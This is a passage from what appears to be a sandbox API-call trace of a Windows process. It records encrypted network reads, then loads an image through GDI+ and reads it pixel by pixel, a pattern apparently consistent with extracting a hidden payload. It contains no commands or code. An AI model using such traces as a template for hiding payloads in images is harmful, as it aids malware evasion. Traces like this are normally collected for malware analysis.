pMessage=0x315dd00, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315dd00, pfQOP=0x0) returned 0x0 [0123.486] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.487] recv (in: s=0x4e8, buf=0x3159bcd, len=3648, flags=0 | out: buf=0x3159bcd*) returned 3648 [0123.487] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315def0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315def0, pfQOP=0x0) returned 0x0 [0123.487] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.487] recv (in: s=0x4e8, buf=0x3159bcd, len=16416, flags=0 | out: buf=0x3159bcd*) returned 2782 [0123.487] recv (in: s=0x4e8, buf=0x315a6ab, len=13634, flags=0 | out: buf=0x315a6ab*) returned 8928 [0123.498] recv (in: s=0x4e8, buf=0x315c98b, len=4706, flags=0 | out: buf=0x315c98b*) returned 1452 [0123.498] recv (in: s=0x4e8, buf=0x315cf37, len=3254, flags=0 | out: buf=0x315cf37*) returned 3254 [0123.499] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315e0e0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315e0e0, pfQOP=0x0) returned 0x0 [0123.500] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.500] recv (in: s=0x4e8, buf=0x3159bcd, len=3648, flags=0 | out: buf=0x3159bcd*) returned 3648 [0123.501] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315e2d0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315e2d0, pfQOP=0x0) returned 0x0 [0123.501] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.501] recv (in: s=0x4e8, buf=0x3159bcd, len=16416, flags=0 | out: buf=0x3159bcd*) returned 9060 [0123.502] recv (in: s=0x4e8, buf=0x315bf31, len=7356, flags=0 | out: buf=0x315bf31*) returned 3472 [0123.503] recv (in: s=0x4e8, buf=0x315ccc1, len=3884, flags=0 | out: buf=0x315ccc1*) returned 3884 [0123.503] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315e4c0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315e4c0, pfQOP=0x0) returned 0x0 [0123.503] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.504] recv (in: s=0x4e8, buf=0x3159bcd, len=3648, flags=0 | out: buf=0x3159bcd*) returned 1351 [0123.504] recv (in: s=0x4e8, buf=0x315a114, len=2297, flags=0 | out: buf=0x315a114*) returned 2297 [0123.505] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315e6b0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315e6b0, pfQOP=0x0) returned 0x0 [0123.505] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.506] recv (in: s=0x4e8, buf=0x3159bcd, len=16416, flags=0 | out: buf=0x3159bcd*) returned 9314 [0123.506] recv (in: s=0x4e8, buf=0x315c02f, len=7102, flags=0 | out: buf=0x315c02f*) returned 7102 [0123.509] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315e8a0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315e8a0, pfQOP=0x0) returned 0x0 [0123.509] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.509] recv (in: s=0x4e8, buf=0x3159bcd, len=3648, flags=0 | out: buf=0x3159bcd*) returned 3648 [0123.509] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315ea90, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315ea90, pfQOP=0x0) returned 0x0 [0123.556] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.556] recv (in: s=0x4e8, buf=0x3159bcd, len=16416, flags=0 | out: buf=0x3159bcd*) returned 16416 [0123.557] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315dd18, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315dd18, pfQOP=0x0) returned 0x0 [0123.557] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.557] recv (in: s=0x4e8, buf=0x3159bcd, len=3648, flags=0 | out: buf=0x3159bcd*) returned 3648 [0123.557] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315df08, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315df08, pfQOP=0x0) returned 0x0 [0123.557] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.557] recv (in: s=0x4e8, buf=0x3159bcd, len=16416, flags=0 | out: buf=0x3159bcd*) returned 16416 [0123.557] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315e0f8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315e0f8, pfQOP=0x0) returned 0x0 [0123.557] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.558] recv (in: s=0x4e8, buf=0x3159bcd, len=3648, flags=0 | out: buf=0x3159bcd*) returned 3648 [0123.558] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315e2e8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315e2e8, pfQOP=0x0) returned 0x0 [0123.558] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.558] recv (in: s=0x4e8, buf=0x3159bcd, len=16416, flags=0 | out: buf=0x3159bcd*) returned 16416 [0123.558] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315e4d8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315e4d8, pfQOP=0x0) returned 0x0 [0123.558] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.558] recv (in: s=0x4e8, buf=0x3159bcd, len=3648, flags=0 | out: buf=0x3159bcd*) returned 3648 [0123.558] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315e6c8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315e6c8, pfQOP=0x0) returned 0x0 [0123.558] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.559] recv (in: s=0x4e8, buf=0x3159bcd, len=16416, flags=0 | out: buf=0x3159bcd*) returned 13234 [0123.559] recv (in: s=0x4e8, buf=0x315cf7f, len=3182, flags=0 | out: buf=0x315cf7f*) returned 3182 [0123.581] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315e8b8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315e8b8, pfQOP=0x0) returned 0x0 [0123.581] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.581] recv (in: s=0x4e8, buf=0x3159bcd, len=3648, flags=0 | out: buf=0x3159bcd*) returned 3648 [0123.581] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315eaa8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315eaa8, pfQOP=0x0) returned 0x0 [0123.581] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.581] recv (in: s=0x4e8, buf=0x3159bcd, len=16416, flags=0 | out: buf=0x3159bcd*) returned 4776 [0123.582] recv (in: s=0x4e8, buf=0x315ae75, len=11640, flags=0 | out: buf=0x315ae75*) returned 11640 [0123.585] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315ec98, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315ec98, pfQOP=0x0) returned 0x0 [0123.585] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.585] recv (in: s=0x4e8, buf=0x3159bcd, len=3648, flags=0 | out: buf=0x3159bcd*) returned 3648 [0123.585] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315ee88, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315ee88, pfQOP=0x0) returned 0x0 [0123.586] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.586] recv (in: s=0x4e8, buf=0x3159bcd, len=16416, flags=0 | out: buf=0x3159bcd*) returned 5030 [0123.586] recv (in: s=0x4e8, buf=0x315af73, len=11386, flags=0 | out: buf=0x315af73*) returned 3472 [0123.587] recv (in: s=0x4e8, buf=0x315bd03, len=7914, flags=0 | out: buf=0x315bd03*) returned 5240 [0123.587] recv (in: s=0x4e8, buf=0x315d17b, len=2674, flags=0 | out: buf=0x315d17b*) returned 2674 [0123.589] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315f078, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315f078, pfQOP=0x0) returned 0x0 [0123.589] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.589] recv (in: s=0x4e8, buf=0x3159bcd, len=3648, flags=0 | out: buf=0x3159bcd*) returned 3648 [0123.589] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315f268, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315f268, pfQOP=0x0) returned 0x0 [0123.590] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.590] recv (in: s=0x4e8, buf=0x3159bcd, len=16416, flags=0 | out: buf=0x3159bcd*) returned 3832 [0123.590] recv (in: s=0x4e8, buf=0x315aac5, len=12584, flags=0 | out: buf=0x315aac5*) returned 12584 [0123.594] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315f458, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315f458, pfQOP=0x0) returned 0x0 [0123.596] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.596] recv (in: s=0x4e8, buf=0x3159bcd, len=3648, flags=0 | out: buf=0x3159bcd*) returned 3648 [0123.596] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315f648, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315f648, pfQOP=0x0) returned 0x0 [0123.597] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.597] recv (in: s=0x4e8, buf=0x3159bcd, len=16416, flags=0 | out: buf=0x3159bcd*) returned 9010 [0123.597] recv (in: s=0x4e8, buf=0x315beff, len=7406, flags=0 | out: buf=0x315beff*) returned 3472 [0123.598] recv (in: s=0x4e8, buf=0x315cc8f, len=3934, flags=0 | out: buf=0x315cc8f*) returned 3220 [0123.598] recv (in: s=0x4e8, buf=0x315d923, len=714, flags=0 | out: buf=0x315d923*) returned 714 [0123.602] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315f838, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315f838, pfQOP=0x0) returned 0x0 [0123.602] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.603] recv (in: s=0x4e8, buf=0x3159bcd, len=3648, flags=0 | out: buf=0x3159bcd*) returned 3648 [0123.603] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315fa28, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315fa28, pfQOP=0x0) returned 0x0 [0123.603] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.603] recv (in: s=0x4e8, buf=0x3159bcd, len=16416, flags=0 | out: buf=0x3159bcd*) returned 16416 [0123.604] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315fc18, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315fc18, pfQOP=0x0) returned 0x0 [0123.605] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.605] recv (in: s=0x4e8, buf=0x3159bcd, len=3648, flags=0 | out: buf=0x3159bcd*) returned 3648 [0123.605] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315fe08, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315fe08, pfQOP=0x0) returned 0x0 [0123.606] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.606] recv (in: s=0x4e8, buf=0x3159bcd, len=16416, flags=0 | out: buf=0x3159bcd*) returned 16416 [0123.607] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x315fff8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x315fff8, pfQOP=0x0) returned 0x0 [0123.607] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.607] recv (in: s=0x4e8, buf=0x3159bcd, len=3648, flags=0 | out: buf=0x3159bcd*) returned 3648 [0123.607] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x31601e8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31601e8, pfQOP=0x0) returned 0x0 [0123.607] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.607] recv (in: s=0x4e8, buf=0x3159bcd, len=16416, flags=0 | out: buf=0x3159bcd*) returned 4848 [0123.607] recv (in: s=0x4e8, buf=0x315aebd, len=11568, flags=0 | out: buf=0x315aebd*) returned 11568 [0123.610] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x31603d8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31603d8, pfQOP=0x0) returned 0x0 [0123.611] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.611] recv (in: s=0x4e8, buf=0x3159bcd, len=3648, flags=0 | out: buf=0x3159bcd*) returned 1495 [0123.611] recv (in: s=0x4e8, buf=0x315a1a4, len=2153, flags=0 | out: buf=0x315a1a4*) returned 2153 [0123.613] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x31605c8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31605c8, pfQOP=0x0) returned 0x0 [0123.614] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.614] recv (in: s=0x4e8, buf=0x3159bcd, len=16416, flags=0 | out: buf=0x3159bcd*) returned 9458 [0123.614] recv (in: s=0x4e8, buf=0x315c0bf, len=6958, flags=0 | out: buf=0x315c0bf*) returned 6958 [0123.616] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x31607b8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31607b8, pfQOP=0x0) returned 0x0 [0123.616] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.617] recv (in: s=0x4e8, buf=0x3159bcd, len=3648, flags=0 | out: buf=0x3159bcd*) returned 3648 [0123.617] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x31609a8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31609a8, pfQOP=0x0) returned 0x0 [0123.617] recv (in: s=0x4e8, buf=0x3159bc8, len=5, flags=0 | out: buf=0x3159bc8*) returned 5 [0123.618] recv (in: s=0x4e8, buf=0x3159bcd, len=11488, flags=0 | out: buf=0x3159bcd*) returned 11488 [0123.618] DecryptMessage (in: phContext=0x1c6cb940, pMessage=0x3160b98, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x3160b98, pfQOP=0x0) returned 0x0 [0123.619] SetEvent (hEvent=0x374) returned 1 [0123.660] GetCurrentProcessId () returned 0xb5c [0123.664] AddAtomW (lpString="GDI+Atom_2908_1") returned 0xc000 [0123.667] GdiplusStartup (in: token=0x1c6cafd8, input=0x1c6caff0, output=0x1c6cafc8 | out: token=0x1c6cafd8, output=0x1c6cafc8) returned 0x0 [0123.679] GdipCreateBitmapFromStream (stream=0x26ffea0, bitmap=0x1c6cc0a8) returned 0x0 [0123.695] GdipImageForceValidation (image=0x1cf641a0) returned 0x0 [0123.720] GdipGetImageRawFormat (image=0x1cf641a0, format=0x1c6cbf60*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0123.928] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc290) returned 0x0 [0123.929] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc290) returned 0x0 [0123.930] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=0, y=0, color=0x1c6cc2f0) returned 0x0 [0124.010] VarDecInt (in: pdecIn=0x1c6cc3b0, pdecResult=0x1c6cc3e0 | out: pdecResult=0x1c6cc3e0) returned 0x0 [0124.029] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.031] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.031] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.031] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=1, y=0, color=0x1c6cc480) returned 0x0 [0124.032] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.032] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.032] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.032] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.032] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=2, y=0, color=0x1c6cc480) returned 0x0 [0124.033] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.033] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.033] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.033] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.034] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=3, y=0, color=0x1c6cc480) returned 0x0 [0124.034] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.034] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.034] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.034] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.034] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=4, y=0, color=0x1c6cc480) returned 0x0 [0124.035] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.035] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.035] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.035] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.035] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=5, y=0, color=0x1c6cc480) returned 0x0 [0124.036] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.036] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.036] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.036] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.036] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=6, y=0, color=0x1c6cc480) returned 0x0 [0124.037] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.037] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.037] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.037] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.037] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=7, y=0, color=0x1c6cc480) returned 0x0 [0124.038] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.038] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.038] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.038] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.038] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=8, y=0, color=0x1c6cc480) returned 0x0 [0124.039] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.039] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.039] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.039] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.039] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=9, y=0, color=0x1c6cc480) returned 0x0 [0124.041] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.041] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.041] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.041] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.041] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=10, y=0, color=0x1c6cc480) returned 0x0 [0124.042] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.042] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.042] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.042] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.042] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=11, y=0, color=0x1c6cc480) returned 0x0 [0124.043] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.043] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.043] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.043] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.043] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=12, y=0, color=0x1c6cc480) returned 0x0 [0124.044] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.044] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.044] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.044] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.044] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=13, y=0, color=0x1c6cc480) returned 0x0 [0124.045] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.046] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.047] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.047] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.047] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=14, y=0, color=0x1c6cc480) returned 0x0 [0124.048] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.048] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.048] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.048] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.048] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=15, y=0, color=0x1c6cc480) returned 0x0 [0124.049] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.049] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.049] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.049] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.049] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=16, y=0, color=0x1c6cc480) returned 0x0 [0124.049] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.049] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.050] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.050] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.050] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=17, y=0, color=0x1c6cc480) returned 0x0 [0124.050] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.050] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.050] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.050] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.050] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=18, y=0, color=0x1c6cc480) returned 0x0 [0124.050] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.050] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.050] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.050] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.051] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=19, y=0, color=0x1c6cc480) returned 0x0 [0124.051] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.051] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.051] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.051] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.051] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=20, y=0, color=0x1c6cc480) returned 0x0 [0124.051] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.051] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.051] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.051] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.051] GdipBitmapGetPixel 